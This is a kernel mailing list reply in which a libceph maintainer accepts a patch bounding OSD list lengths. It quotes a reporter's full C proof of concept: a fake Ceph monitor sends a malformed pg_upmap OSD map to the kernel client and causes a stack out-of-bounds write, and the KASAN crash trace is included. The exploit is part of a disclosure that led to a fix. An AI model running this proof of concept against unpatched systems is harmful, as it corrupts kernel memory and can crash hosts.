Re: [PATCH net] libceph: bound pg_temp/pg_upmap osd list length to CEPH_PG_MAX_SIZE

Ilya Dryomov <[email protected]> Fri, 24 Jul 2026 16:18:09 +0200
Newsgroups org.kernel.vger.ceph-devel,org.kernel.vger.linux-kernel
Message-ID <CAOi1vP9F4B_YpcUw3ZkAXrRvsYiohTx0mZm9DB5yMsDxEjuxeA@mail.gmail.com>
On Wed, Jul 1, 2026 at 2:05 AM Xiang Mei <[email protected]> wrote:
>
> Hi ceph developers,
>
> Just a gentle ping on this patch. I wanted to check whether there are
> any comments or concerns, or if there is anything I should revise.

Hi Xiang,

__decode_pg_upmap_items() has a similarly bogus check based on
SIZE_MAX, prone to integer multiplication overflow -- it's basically
a cut-and-paste of __decode_pg_temp() adjusted for receiving two OSD
IDs instead of one.  I have changed __decode_pg_upmap_items() to do
len > CEPH_PG_MAX_SIZE and folded that into your patch:

https://github.com/ceph/ceph-client/commit/9f00f9cf2be293efe899db67dc5272e3a9c62717

Thanks,

                Ilya

>
> Thanks,
> Xiang
>
> On Sun, Jun 14, 2026 at 10:46 AM Xiang Mei <[email protected]> wrote:
> >
> > Hi maintainers,
> >
> > Here is the artifact that could help you reproduce this stack OOB.
> >
> > 1) Required CONFIG:
> > ```
> > CONFIG_CEPH_LIB=y
> > CONFIG_BLK_DEV_RBD=y
> > CONFIG_CEPH_FS=y
> > ```
> > 2) PoC
> > ```c
> > #define _GNU_SOURCE
> > #include <stdio.h>
> > #include <stdlib.h>
> > #include <string.h>
> > #include <stdint.h>
> > #include <stddef.h>
> > #include <unistd.h>
> > #include <fcntl.h>
> > #include <errno.h>
> > #include <sys/socket.h>
> > #include <netinet/in.h>
> > #include <netinet/tcp.h>
> > #include <arpa/inet.h>
> > #include <sys/types.h>
> > #include <sys/stat.h>
> > #include <sys/mount.h>
> > #include <dirent.h>
> > #include <pthread.h>
> >
> > /* ----- ceph constants ----- */
> > #define CEPH_BANNER "ceph v027"          /* 9 bytes */
> > #define MON_PORT 6789
> >
> > #define CEPH_MSGR_TAG_READY 1
> > #define CEPH_MSGR_TAG_MSG   7
> > #define CEPH_MSGR_TAG_ACK   8
> > #define CEPH_MSGR_TAG_KEEPALIVE  9
> > #define CEPH_MSGR_TAG_KEEPALIVE2 14
> > #define CEPH_MSGR_TAG_KEEPALIVE2_ACK 15
> >
> > #define CEPH_MSG_MON_MAP            4
> > #define CEPH_MSG_MON_SUBSCRIBE      15
> > #define CEPH_MSG_MON_SUBSCRIBE_ACK  16
> > #define CEPH_MSG_AUTH               17
> > #define CEPH_MSG_AUTH_REPLY         18
> > #define CEPH_MSG_MON_GET_VERSION    19
> > #define CEPH_MSG_MON_GET_VERSION_REPLY 20
> > #define CEPH_MSG_OSD_MAP            41
> >
> > #define CEPH_ENTITY_TYPE_MON 0x01
> > #define CEPH_ENTITY_TYPE_CLIENT 0x08
> >
> > #define CEPH_AUTH_NONE 1
> >
> > #define CEPH_ENTITY_ADDR_TYPE_LEGACY 1
> >
> > #define CEPH_MSG_FOOTER_COMPLETE 1
> >
> > /* crush */
> > #define CRUSH_MAGIC 0x00010000u
> > #define CRUSH_BUCKET_STRAW2 5
> > #define CRUSH_RULE_TAKE 1
> > #define CRUSH_RULE_CHOOSE_FIRSTN 2
> > #define CRUSH_RULE_EMIT 4
> > #define CRUSH_ITEM_NONE 0x7fffffff
> >
> > /* ---- crc32c (Castagnoli) ---- */
> > static uint32_t crc32c_table[256];
> > static void crc32c_init(void) {
> >     for (uint32_t i = 0; i < 256; i++) {
> >         uint32_t c = i;
> >         for (int k = 0; k < 8; k++)
> >             c = (c & 1) ? (0x82f63b78u ^ (c >> 1)) : (c >> 1);
> >         crc32c_table[i] = c;
> >     }
> > }
> > /* Linux kernel crc32c(seed, buf, len): reflected CRC-32C with the given seed,
> >  * NO pre/post inversion. ceph calls crc32c(0, ...). */
> > static uint32_t crc32c(uint32_t crc, const void *buf, size_t len) {
> >     const uint8_t *p = buf;
> >     while (len--) crc = crc32c_table[(crc ^ *p++) & 0xff] ^ (crc >> 8);
> >     return crc;
> > }
> >
> > /* ---- little buffer builder ---- */
> > typedef struct { uint8_t *b; size_t len, cap; } buf_t;
> > static void bufinit(buf_t *x){ x->cap=4096; x->len=0; x->b=malloc(x->cap); }
> > static void bufneed(buf_t *x, size_t n){
> >     if (x->len+n > x->cap){ while(x->len+n>x->cap) x->cap*=2;
> > x->b=realloc(x->b,x->cap);} }
> > static void p8(buf_t *x,uint8_t v){bufneed(x,1);x->b[x->len++]=v;}
> > static void p16(buf_t *x,uint16_t
> > v){bufneed(x,2);memcpy(x->b+x->len,&v,2);x->len+=2;}
> > static void p32(buf_t *x,uint32_t
> > v){bufneed(x,4);memcpy(x->b+x->len,&v,4);x->len+=4;}
> > static void p64(buf_t *x,uint64_t
> > v){bufneed(x,8);memcpy(x->b+x->len,&v,8);x->len+=8;}
> > static void praw(buf_t *x,const void*d,size_t
> > n){bufneed(x,n);memcpy(x->b+x->len,d,n);x->len+=n;}
> > static void pzero(buf_t *x,size_t
> > n){bufneed(x,n);memset(x->b+x->len,0,n);x->len+=n;}
> >
> > /* ---- socket helpers ---- */
> > static int readn(int fd, void *buf, size_t n){
> >     uint8_t *p=buf; size_t got=0;
> >     while (got<n){ ssize_t r=read(fd,p+got,n-got);
> >         if (r<0){ if(errno==EINTR) continue; return -1;}
> >         if (r==0) return 0; got+=r; }
> >     return 1;
> > }
> > static int writen(int fd, const void *buf, size_t n){
> >     const uint8_t *p=buf; size_t put=0;
> >     while (put<n){ ssize_t r=write(fd,p+put,n-put);
> >         if (r<0){ if(errno==EINTR) continue; return -1;}
> >         put+=r; }
> >     return 1;
> > }
> >
> > static uint8_t g_fsid[16] = {
> >     0xde,0xad,0xbe,0xef,0x00,0x11,0x22,0x33,
> >     0x44,0x55,0x66,0x77,0x88,0x99,0xaa,0xbb
> > };
> >
> > /* msg header is 53 bytes (packed) */
> > #pragma pack(push,1)
> > struct msg_header {
> >     uint64_t seq;
> >     uint64_t tid;
> >     uint16_t type;
> >     uint16_t priority;
> >     uint16_t version;
> >     uint32_t front_len;
> >     uint32_t middle_len;
> >     uint32_t data_len;
> >     uint16_t data_off;
> >     uint8_t  src_type;
> >     uint64_t src_num;
> >     uint16_t compat_version;
> >     uint16_t reserved;
> >     uint32_t crc;
> > };
> > struct msg_footer { /* MSG_AUTH-featured footer, 21 bytes */
> >     uint32_t front_crc, middle_crc, data_crc;
> >     uint64_t sig;
> >     uint8_t  flags;
> > };
> > #pragma pack(pop)
> >
> > static uint64_t g_out_seq = 0;
> >
> > /* send one MSG (front-only) */
> > static int send_msg(int fd, uint16_t type, uint16_t version,
> >                     const void *front, uint32_t front_len) {
> >     struct msg_header h;
> >     memset(&h, 0, sizeof(h));
> >     h.seq = ++g_out_seq;
> >     h.tid = 0;
> >     h.type = type;
> >     h.priority = 0;
> >     h.version = version;
> >     h.front_len = front_len;
> >     h.middle_len = 0;
> >     h.data_len = 0;
> >     h.data_off = 0;
> >     h.src_type = CEPH_ENTITY_TYPE_MON;
> >     h.src_num = 0;
> >     h.compat_version = 0;
> >     h.reserved = 0;
> >     h.crc = crc32c(0, &h, offsetof(struct msg_header, crc)); /* 49 */
> >
> >     struct msg_footer f;
> >     memset(&f, 0, sizeof(f));
> >     f.front_crc = crc32c(0, front, front_len);
> >     f.middle_crc = 0;
> >     f.data_crc = 0;
> >     f.sig = 0;
> >     f.flags = CEPH_MSG_FOOTER_COMPLETE;
> >
> >     uint8_t tag = CEPH_MSGR_TAG_MSG;
> >     if (writen(fd, &tag, 1) <= 0) return -1;
> >     if (writen(fd, &h, sizeof(h)) <= 0) return -1;
> >     if (front_len && writen(fd, front, front_len) <= 0) return -1;
> >     if (writen(fd, &f, sizeof(f)) <= 0) return -1;
> >     return 0;
> > }
> >
> > /* ---------- build MON_MAP front ---------- */
> > static void build_monmap(buf_t *out) {
> >     buf_t blob; bufinit(&blob);
> >     /* ceph_start_decoding v6 */
> >     p8(&blob, 6);     /* struct_v */
> >     p8(&blob, 1);     /* struct_compat */
> >     size_t slpos = blob.len; p32(&blob, 0);   /* struct_len placeholder */
> >     size_t sstart = blob.len;
> >     praw(&blob, g_fsid, 16);
> >     p32(&blob, 1);    /* epoch */
> >     p32(&blob,0); p32(&blob,0);   /* last_changed */
> >     p32(&blob,0); p32(&blob,0);   /* created */
> >     /* persistent_features: start_decoding v1 + 0-len */
> >     p8(&blob,1); p8(&blob,1); p32(&blob,0);
> >     /* optional_features */
> >     p8(&blob,1); p8(&blob,1); p32(&blob,0);
> >     /* num_mon */
> >     p32(&blob,1);
> >     /* mon name string "a" */
> >     p32(&blob,1); p8(&blob,'a');
> >     /* mon_info_t: start_decoding v1 */
> >     p8(&blob,1); p8(&blob,1);
> >     size_t milpos = blob.len; p32(&blob,0);
> >     size_t mistart = blob.len;
> >     /* mi name string "a" */
> >     p32(&blob,1); p8(&blob,'a');
> >     /* addrvec: marker 2, count 1 */
> >     p8(&blob,2);
> >     p32(&blob,1);
> >     /* entity_addr: marker 1, start_decoding v1 */
> >     p8(&blob,1);
> >     p8(&blob,1); p8(&blob,1);
> >     size_t ealpos = blob.len; p32(&blob,0);
> >     size_t eastart = blob.len;
> >     p32(&blob, CEPH_ENTITY_ADDR_TYPE_LEGACY); /* type */
> >     p32(&blob, 0);                            /* nonce */
> >     size_t addrlenpos = blob.len; p32(&blob,0);
> >     size_t astart = blob.len;
> >     p16(&blob, 2);                  /* sin_family AF_INET (LE) */
> >     {   uint16_t port = htons(MON_PORT); praw(&blob,&port,2); }
> >     {   uint32_t ip = htonl(0x7f000001); praw(&blob,&ip,4); } /* 127.0.0.1 */
> >     pzero(&blob, 8);                /* sin_zero */
> >     { uint32_t v = blob.len - astart; memcpy(blob.b+addrlenpos,&v,4); }
> >     { uint32_t v = blob.len - eastart; memcpy(blob.b+ealpos,&v,4); }
> >     { uint32_t v = blob.len - mistart; memcpy(blob.b+milpos,&v,4); }
> >     { uint32_t v = blob.len - sstart; memcpy(blob.b+slpos,&v,4); }
> >
> >     p32(out, (uint32_t)blob.len);
> >     praw(out, blob.b, blob.len);
> >     free(blob.b);
> > }
> >
> > /* ---------- build AUTH_REPLY front (auth=none) ----------
> >  * ceph_handle_auth_reply parses:
> >  *   u32 protocol; s32 result; u64 global_id; u32 payload_len; [payload];
> >  *   u32 msg_len; [msg]
> >  */
> > static void build_auth_reply(buf_t *out) {
> >     p32(out, CEPH_AUTH_NONE); /* protocol */
> >     p32(out, 0);              /* result = 0 (success) */
> >     p64(out, 0x1234);         /* global_id (nonzero) */
> >     p32(out, 0);              /* payload_len = 0 */
> >     p32(out, 0);              /* result_msg_len = 0 */
> > }
> >
> > /* ---------- build MON_SUBSCRIBE_ACK front ---------- */
> > static void build_sub_ack(buf_t *out) {
> >     p32(out, 300);            /* duration */
> >     praw(out, g_fsid, 16);    /* fsid */
> > }
> >
> > /* ---------- build MON_GET_VERSION_REPLY front ----------
> >  * handle_get_version_reply: u64 handle(tid echo as front? actually:
> >  *   le64 handle; le64 version; le64 oldest_version (v>=2)
> >  * The msg header tid carries the request tid; front carries handle+version.
> >  */
> > static void build_get_version_reply(buf_t *out, uint64_t handle,
> > uint64_t version) {
> >     p64(out, handle);         /* handle (tid) */
> >     p64(out, version);        /* version */
> >     p64(out, 1);              /* oldest_version */
> > }
> >
> > /* ---------- build the minimal CRUSH map ---------- */
> > static void build_crush(buf_t *c) {
> >     p32(c, CRUSH_MAGIC);
> >     p32(c, 1);   /* max_buckets */
> >     p32(c, 1);   /* max_rules */
> >     p32(c, 4);   /* max_devices */
> >     /* bucket[0] */
> >     p32(c, CRUSH_BUCKET_STRAW2); /* alg (outer) */
> >     p32(c, (uint32_t)-1);        /* id = -1 */
> >     p16(c, 1);                   /* type */
> >     p8(c, CRUSH_BUCKET_STRAW2);  /* alg (inner, must match) */
> >     p8(c, 0);                    /* hash */
> >     p32(c, 0x10000);             /* weight */
> >     p32(c, 4);                   /* size */
> >     p32(c, 0); p32(c, 1); p32(c, 2); p32(c, 3); /* items */
> >     /* straw2: item_weights[size] */
> >     p32(c, 0x10000); p32(c, 0x10000); p32(c, 0x10000); p32(c, 0x10000);
> >     /* rule[0] */
> >     p32(c, 1);   /* present */
> >     p32(c, 3);   /* len = 3 steps */
> >     /* mask: ruleset=0,type=1,min_size=1,max_size=10 */
> >     p8(c,0); p8(c,1); p8(c,1); p8(c,10);
> >     /* steps */
> >     p32(c, CRUSH_RULE_TAKE); p32(c, (uint32_t)-1); p32(c, 0);
> >     p32(c, CRUSH_RULE_CHOOSE_FIRSTN); p32(c, 0); p32(c, 0);
> >     p32(c, CRUSH_RULE_EMIT); p32(c, 0); p32(c, 0);
> >     /* type_names, names, rule_name_map: all empty */
> >     p32(c, 0);
> >     p32(c, 0);
> >     p32(c, 0);
> >     /* tunables */
> >     p32(c, 2);  /* choose_local_tries */
> >     p32(c, 5);  /* choose_local_fallback_tries */
> >     p32(c, 19); /* choose_total_tries */
> >     p32(c, 1);  /* chooseleaf_descend_once */
> >     p8(c, 1);   /* chooseleaf_vary_r */
> >     p8(c, 0);   /* straw_calc_version */
> >     p32(c, 0);  /* allowed_bucket_algs */
> >     p8(c, 1);   /* chooseleaf_stable */
> > }
> >
> > /* ---------- build the full osdmap blob with the malicious pg_upmap
> > ---------- */
> > #define UPMAP_LEN 64           /* > CEPH_PG_MAX_SIZE(32) */
> > #define MAX_OSD 4
> >
> > static void build_osdmap_blob(buf_t *m) {
> >     /* wrapper (get_osdmap_client_data_v): struct_v>=7 */
> >     p8(m, 8);  /* wrapper struct_v */
> >     p8(m, 7);  /* wrapper struct_compat (<=7) */
> >     p32(m, 0); /* wrapper struct_len (ignored) */
> >     p8(m, 8);  /* client-data struct_v (== struct_v used below) */
> >     p8(m, 1);  /* client-data struct_compat (<=1) */
> >     p32(m, 0); /* client-data struct_len (ignored) */
> >
> >     /* fsid, epoch, created, modified */
> >     praw(m, g_fsid, 16);
> >     p32(m, 1);                 /* epoch */
> >     p32(m,0); p32(m,0);        /* created */
> >     p32(m,0); p32(m,0);        /* modified */
> >
> >     /* pools: num=1 */
> >     p32(m, 1);
> >     p64(m, 1);                 /* pool id 1 */
> >     /* decode_pool: ev=5, cv=5 */
> >     p8(m, 5); p8(m, 5);
> >     size_t plpos = m->len; p32(m, 0); /* pool struct_len placeholder */
> >     size_t pstart = m->len;
> >     p8(m, 1);                  /* type = replicated */
> >     p8(m, 3);                  /* size = 3 */
> >     p8(m, 0);                  /* crush_ruleset = 0 */
> >     p8(m, 2);                  /* object_hash */
> >     p32(m, 1);                 /* pg_num = 1  -> mask 0 -> all seeds map to 0 */
> >     p32(m, 1);                 /* pgp_num = 1 */
> >     pzero(m, 8+4+8+4);         /*
> > lpg,lpgp,last_change,snap_seq,snap_epoch (24) */
> >     p32(m, 0);                 /* num_snaps = 0 */
> >     p32(m, 0);                 /* removed_snaps map count = 0 */
> >     p64(m, 0);                 /* auid */
> >     p64(m, 0);                 /* flags */
> >     p32(m, 0);                 /* crash_replay_interval */
> >     /* ev=5 -> stop here (min_size computed) */
> >     { uint32_t v = m->len - pstart; memcpy(m->b+plpos,&v,4); }
> >
> >     /* pool_names: num=1 */
> >     p32(m, 1);
> >     p64(m, 1);                 /* pool id 1 */
> >     p32(m, 3); praw(m, "rbd", 3);
> >
> >     p32(m, 1);                 /* pool_max */
> >     p32(m, 0);                 /* flags */
> >
> >     /* max_osd */
> >     p32(m, MAX_OSD);
> >
> >     /* osd_state[] (struct_v>=5 -> u32) */
> >     p32(m, MAX_OSD);
> >     for (int i=0;i<MAX_OSD;i++) p32(m, 0x3); /* EXISTS|UP */
> >     /* osd_weight[] */
> >     p32(m, MAX_OSD);
> >     for (int i=0;i<MAX_OSD;i++) p32(m, 0x10000); /* IN */
> >     /* osd_addr[] (struct_v>=8 -> addrvec, count 0 each) */
> >     p32(m, MAX_OSD);
> >     for (int i=0;i<MAX_OSD;i++) { p8(m, 2); p32(m, 0); } /* marker 2, count 0 */
> >
> >     /* pg_temp: num=0 */
> >     p32(m, 0);
> >     /* primary_temp: num=0 */
> >     p32(m, 0);
> >     /* primary_affinity: len=0 */
> >     p32(m, 0);
> >
> >     /* crush */
> >     buf_t cr; bufinit(&cr); build_crush(&cr);
> >     p32(m, (uint32_t)cr.len);
> >     praw(m, cr.b, cr.len);
> >     free(cr.b);
> >
> >     /* erasure_code_profiles (struct_v>=3): map count 0 */
> >     p32(m, 0);
> >
> >     /* pg_upmap (struct_v>=4): num=1 -- THE BUG */
> >     p32(m, 1);
> >     /* ceph_decode_pgid: version<=1, pool, seed, preferred */
> >     p8(m, 1);                  /* pgid version */
> >     p64(m, 1);                 /* pool = 1 (matches our pool) */
> >     p32(m, 0);                 /* seed = 0 (pg_num=1 maps every pgid here) */
> >     p32(m, 0);                 /* preferred (deprecated) */
> >     /* __decode_pg_upmap -> __decode_pg_temp: len=64, NO bound */
> >     p32(m, UPMAP_LEN);
> >     for (int i=0;i<UPMAP_LEN;i++)
> >         p32(m, 0x41414141);    /* >= max_osd(4): bypasses weight check */
> >
> >     /* pg_upmap_items: num=0 */
> >     p32(m, 0);
> > }
> >
> > /* ---------- build OSD_MAP message front ---------- */
> > static void build_osdmap_msg(buf_t *out) {
> >     praw(out, g_fsid, 16);     /* fsid */
> >     p32(out, 0);               /* nr_inc_maps = 0 */
> >     p32(out, 1);               /* nr_full_maps = 1 */
> >     p32(out, 1);               /* epoch = 1 */
> >     buf_t blob; bufinit(&blob); build_osdmap_blob(&blob);
> >     p32(out, (uint32_t)blob.len);
> >     praw(out, blob.b, blob.len);
> >     free(blob.b);
> > }
> >
> > /* read one incoming MSG; return 1 if MSG (sets *type_out,*tid_out), 0
> > other, -1 closed */
> > static int recv_one(int fd, uint16_t *type_out, uint64_t *tid_out) {
> >     uint8_t tag;
> >     if (readn(fd, &tag, 1) <= 0) return -1;
> >     if (tag == CEPH_MSGR_TAG_KEEPALIVE) return 0;
> >     if (tag == CEPH_MSGR_TAG_KEEPALIVE2) {
> >         /* followed by struct ceph_timespec (2x __le32 = 8 bytes) */
> >         uint8_t ts[8];
> >         if (readn(fd, ts, 8) <= 0) return -1;
> >         uint8_t ack = CEPH_MSGR_TAG_KEEPALIVE2_ACK;
> >         writen(fd, &ack, 1);
> >         writen(fd, ts, 8);        /* echo timestamp back */
> >         return 0;
> >     }
> >     if (tag == CEPH_MSGR_TAG_KEEPALIVE2_ACK) {
> >         uint8_t ts[8]; if (readn(fd, ts, 8) <= 0) return -1; return 0;
> >     }
> >     if (tag == CEPH_MSGR_TAG_ACK) {
> >         uint64_t s; if (readn(fd,&s,8)<=0) return -1; return 0;
> >     }
> >     if (tag != CEPH_MSGR_TAG_MSG) {
> >         fprintf(stderr, "[mon] unknown tag %u, closing\n", tag);
> >         return -1;
> >     }
> >     struct msg_header h;
> >     if (readn(fd, &h, sizeof(h)) <= 0) return -1;
> >     uint32_t fl = h.front_len, ml = h.middle_len, dl = h.data_len;
> >     static uint8_t fbuf[65536];
> >     uint32_t tot = fl + ml + dl;
> >     uint32_t got = 0;
> >     while (tot) { uint32_t c = tot > sizeof(fbuf)-got ? sizeof(fbuf)-got : tot;
> >         if (c==0) c = tot > sizeof(fbuf) ? sizeof(fbuf) : tot, got=0;
> >         if (readn(fd, fbuf+ (got<sizeof(fbuf)?got:0), c) <= 0) return -1;
> >         got += c; tot -= c; if (got>=sizeof(fbuf)) got=0; }
> >     struct msg_footer f;
> >     if (readn(fd, &f, sizeof(f)) <= 0) return -1;
> >     /* ack this message */
> >     uint8_t ack = CEPH_MSGR_TAG_ACK;
> >     uint64_t seq = h.seq;
> >     writen(fd, &ack, 1);
> >     writen(fd, &seq, 8);
> >     if (type_out) *type_out = h.type;
> >     if (tid_out) *tid_out = h.tid;
> >     return 1;
> > }
> >
> > static void serve_client(int fd) {
> >     int one = 1;
> >     setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one));
> >
> >     /* ---- Step 1: read client banner (9) + banner addr (136) ---- */
> >     uint8_t banner[9];
> >     if (readn(fd, banner, 9) <= 0) { fprintf(stderr,"[mon] no
> > banner\n"); return; }
> >     uint8_t caddr[136];
> >     if (readn(fd, caddr, 136) <= 0) { fprintf(stderr,"[mon] no
> > caddr\n"); return; }
> >     fprintf(stderr, "[mon] got client banner\n");
> >
> >     /* ---- Step 2: send banner + actual_peer_addr + peer_addr_for_me ----
> >      * actual_peer_addr: keep it FULLY BLANK (all-zero in_addr, nonce 0). Then
> >      *   process_banner takes the ceph_addr_is_blank() && nonce-match path and
> >      *   skips the exact memcmp against the dialed mon addr. Also family==0 so
> >      *   ceph_decode_banner_addr's WARN_ON(ss_family==512) cannot fire.
> >      * peer_addr_for_me: client's addr as we see it. Banner form
> > stores ss_family
> >      *   in network byte order; the kernel does ntohs(). To yield
> > family==AF_INET(2)
> >      *   we must store htons(2) == bytes {00,02}. */
> >     if (writen(fd, CEPH_BANNER, 9) <= 0) return;
> >     uint8_t paddr[136];
> >     memset(paddr, 0, sizeof(paddr));   /* actual_peer_addr: fully blank */
> >     if (writen(fd, paddr, 136) <= 0) return;
> >     /* peer_addr_for_me */
> >     memset(paddr, 0, sizeof(paddr));
> >     {
> >         uint16_t fam_be = htons(2);    /* AF_INET in network order */
> >         memcpy(paddr + 8, &fam_be, 2);
> >         uint16_t port = htons(0);
> >         memcpy(paddr + 8 + 2, &port, 2);
> >         uint32_t ip = htonl(0x7f000001);
> >         memcpy(paddr + 8 + 4, &ip, 4);
> >     }
> >     if (writen(fd, paddr, 136) <= 0) return;
> >     fprintf(stderr, "[mon] sent banner+addrs\n");
> >
> >     /* ---- Step 3: read ceph_msg_connect (33 bytes) ---- */
> >     uint8_t conn[33];
> >     if (readn(fd, conn, 33) <= 0) { fprintf(stderr,"[mon] no
> > connect\n"); return; }
> >     uint32_t auth_len; memcpy(&auth_len, conn+28, 4);
> >     if (auth_len) { uint8_t *a=malloc(auth_len); readn(fd,a,auth_len);
> > free(a); }
> >     fprintf(stderr, "[mon] got connect (auth_len=%u)\n", auth_len);
> >
> >     /* ---- Step 4: send ceph_msg_connect_reply (26 bytes), TAG_READY ---- */
> >     #pragma pack(push,1)
> >     struct conn_reply {
> >         uint8_t tag; uint64_t features; uint32_t global_seq;
> >         uint32_t connect_seq; uint32_t protocol_version;
> >         uint32_t authorizer_len; uint8_t flags;
> >     } cr;
> >     #pragma pack(pop)
> >     memset(&cr, 0, sizeof(cr));
> >     cr.tag = CEPH_MSGR_TAG_READY;
> >     cr.features = 0xffffffffffffffffULL;
> >     cr.global_seq = 1;
> >     cr.connect_seq = 1;
> >     cr.protocol_version = 15;            /* MONC */
> >     cr.authorizer_len = 0;
> >     cr.flags = 0;
> >     if (writen(fd, &cr, sizeof(cr)) <= 0) return;
> >     fprintf(stderr, "[mon] sent connect_reply READY, session OPEN\n");
> >
> >     int sent_osdmap=0;
> >
> >     /* Reactive loop: respond strictly to what the client asks. */
> >     for (;;) {
> >         uint16_t type=0; uint64_t tid=0;
> >         int r = recv_one(fd, &type, &tid);
> >         if (r < 0) { fprintf(stderr,"[mon] client closed\n"); break; }
> >         if (r == 0) continue;
> >         fprintf(stderr, "[mon] recv MSG type=%u tid=%llu\n", type,
> >                 (unsigned long long)tid);
> >
> >         if (type == CEPH_MSG_AUTH) {
> >             buf_t f; bufinit(&f); build_auth_reply(&f);
> >             send_msg(fd, CEPH_MSG_AUTH_REPLY, 1, f.b, f.len); free(f.b);
> >             fprintf(stderr,"[mon] sent AUTH_REPLY\n");
> >             /* push monmap right after auth */
> >             buf_t mm; bufinit(&mm); build_monmap(&mm);
> >             send_msg(fd, CEPH_MSG_MON_MAP, 1, mm.b, mm.len); free(mm.b);
> >             fprintf(stderr,"[mon] sent MON_MAP\n");
> >         } else if (type == CEPH_MSG_MON_SUBSCRIBE) {
> >             buf_t f; bufinit(&f); build_sub_ack(&f);
> >             send_msg(fd, CEPH_MSG_MON_SUBSCRIBE_ACK, 1, f.b, f.len); free(f.b);
> >             fprintf(stderr,"[mon] sent SUBSCRIBE_ACK\n");
> >             if (!sent_osdmap) {
> >                 buf_t o; bufinit(&o); build_osdmap_msg(&o);
> >                 send_msg(fd, CEPH_MSG_OSD_MAP, 1, o.b, o.len); free(o.b);
> >                 sent_osdmap=1;
> >                 fprintf(stderr,"[mon] sent OSD_MAP (malicious pg_upmap
> > len=%d)\n", UPMAP_LEN);
> >             }
> >         } else if (type == CEPH_MSG_MON_GET_VERSION) {
> >             /* reply with version 1 for whatever was asked (osdmap/monmap) */
> >             buf_t f; bufinit(&f); build_get_version_reply(&f, tid, 1);
> >             /* MON_GET_VERSION_REPLY echoes tid in the header too */
> >             struct msg_header h; memset(&h,0,sizeof(h));
> >             h.seq=++g_out_seq; h.tid=tid; h.type=CEPH_MSG_MON_GET_VERSION_REPLY;
> >             h.version=2; h.front_len=f.len; h.src_type=CEPH_ENTITY_TYPE_MON;
> >             h.crc=crc32c(0,&h,offsetof(struct msg_header,crc));
> >             struct msg_footer ft; memset(&ft,0,sizeof(ft));
> >             ft.front_crc=crc32c(0,f.b,f.len); ft.flags=CEPH_MSG_FOOTER_COMPLETE;
> >             uint8_t tag=CEPH_MSGR_TAG_MSG;
> >             writen(fd,&tag,1); writen(fd,&h,sizeof(h));
> >             writen(fd,f.b,f.len); writen(fd,&ft,sizeof(ft));
> >             free(f.b);
> >             fprintf(stderr,"[mon] sent GET_VERSION_REPLY tid=%llu\n",
> >                     (unsigned long long)tid);
> >         }
> >     }
> > }
> >
> > static void *mon_thread(void *arg) {
> >     int port = (int)(long)arg;
> >     int s = socket(AF_INET, SOCK_STREAM, 0);
> >     int one=1; setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
> >     struct sockaddr_in sa; memset(&sa,0,sizeof(sa));
> >     sa.sin_family=AF_INET; sa.sin_port=htons(port);
> >     sa.sin_addr.s_addr=htonl(0x7f000001);
> >     if (bind(s, (struct sockaddr*)&sa, sizeof(sa)) < 0) {
> > perror("bind"); return NULL; }
> >     if (listen(s, 8) < 0) { perror("listen"); return NULL; }
> >     fprintf(stderr,"[mon] listening on 127.0.0.1:%d\n", port);
> >     for (;;) {
> >         int c = accept(s, NULL, NULL);
> >         if (c < 0) { if(errno==EINTR) continue; break; }
> >         fprintf(stderr,"[mon] accepted connection\n");
> >         serve_client(c);
> >         close(c);
> >     }
> >     return NULL;
> > }
> >
> > int main(void) {
> >     crc32c_init();
> >     setvbuf(stdout, NULL, _IONBF, 0);
> >     setvbuf(stderr, NULL, _IONBF, 0);
> >
> >     pthread_t th;
> >     pthread_create(&th, NULL, mon_thread, (void*)(long)MON_PORT);
> >     usleep(300*1000);
> >
> >     /* format: <mon_addrs> <options> <pool> <image> [snap]
> >      * rbd defaults to single_major=true, so add_store() rejects
> > /sys/bus/rbd/add
> >      * with -EINVAL; the real entry point is /sys/bus/rbd/add_single_major. */
> >     const char *cmd =
> >         "127.0.0.1:6789 name=admin,ms_mode=legacy,mount_timeout=60 rbd
> > myimage -";
> >
> >     int fd = open("/sys/bus/rbd/add_single_major", O_WRONLY);
> >     if (fd < 0) fd = open("/sys/bus/rbd/add", O_WRONLY);
> >     if (fd < 0) {
> >         perror("open /sys/bus/rbd/add_single_major");
> >         fprintf(stderr,"is rbd built-in?\n");
> >     } else {
> >         fprintf(stderr, "[poc] writing to rbd add: %s\n", cmd);
> >         ssize_t w = write(fd, cmd, strlen(cmd));
> >         fprintf(stderr, "[poc] rbd add write -> %zd errno=%d (%s)\n",
> >                 w, errno, strerror(errno));
> >         close(fd);
> >     }
> >
> >     sleep(15);
> >     fprintf(stderr, "[poc] done\n");
> >     return 0;
> > }
> > ```
> > 3) Crash Info:
> > ```
> > [    2.825734] UBSAN: array-index-out-of-bounds in net/ceph/osdmap.c:2617:13
> > [    2.826080] index 32 is out of range for type 'int [32]'
> > [    2.826785] ==================================================================
> > [    2.827233] BUG: KASAN: stack-out-of-bounds in
> > ceph_pg_to_up_acting_osds+0x2f7c/0x37b0
> > [    2.827693] Write of size 4 at addr ffff888010a574f0 by task exploit/149
> > [    2.828121]
> > [    2.828224] CPU: 1 UID: 0 PID: 149 Comm: exploit Not tainted
> > 7.1.0-rc6+ #3 PREEMPTLAZY
> > [    2.828233] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
> > BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.or4
> > [    2.828238] Call Trace:
> > [    2.828241]  <TASK>
> > [    2.828243]  dump_stack_lvl+0xbc/0xf0
> > [    2.828251]  print_report+0xd0/0x630
> > [    2.828262]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10
> > [    2.828271]  ? ceph_pg_to_up_acting_osds+0x2f7c/0x37b0
> > [    2.828279]  kasan_report+0xce/0x100
> > [    2.828291]  ? ceph_pg_to_up_acting_osds+0x2f7c/0x37b0
> > [    2.828300]  ceph_pg_to_up_acting_osds+0x2f7c/0x37b0
> > [    2.828311]  ? __pfx_ceph_pg_to_up_acting_osds+0x10/0x10
> > [    2.828319]  ? _raw_spin_lock_irqsave+0x95/0xf0
> > [    2.828327]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10
> > [    2.828334]  ? ceph_msg_new2+0x2a1/0x4b0
> > [    2.828341]  ? stack_trace_save+0x93/0xd0
> > [    2.828350]  ? __asan_memcpy+0x3c/0x60
> > [    2.828360]  calc_target+0x611/0x1cf0
> > [    2.828367]  ? kasan_save_stack+0x42/0x60
> > [    2.828377]  ? kasan_save_stack+0x10/0x60
> > [    2.828388]  ? __pfx_calc_target+0x10/0x10
> > [    2.828395]  ? entry_SYSCALL_64_after_hwframe+0x76/0x7e
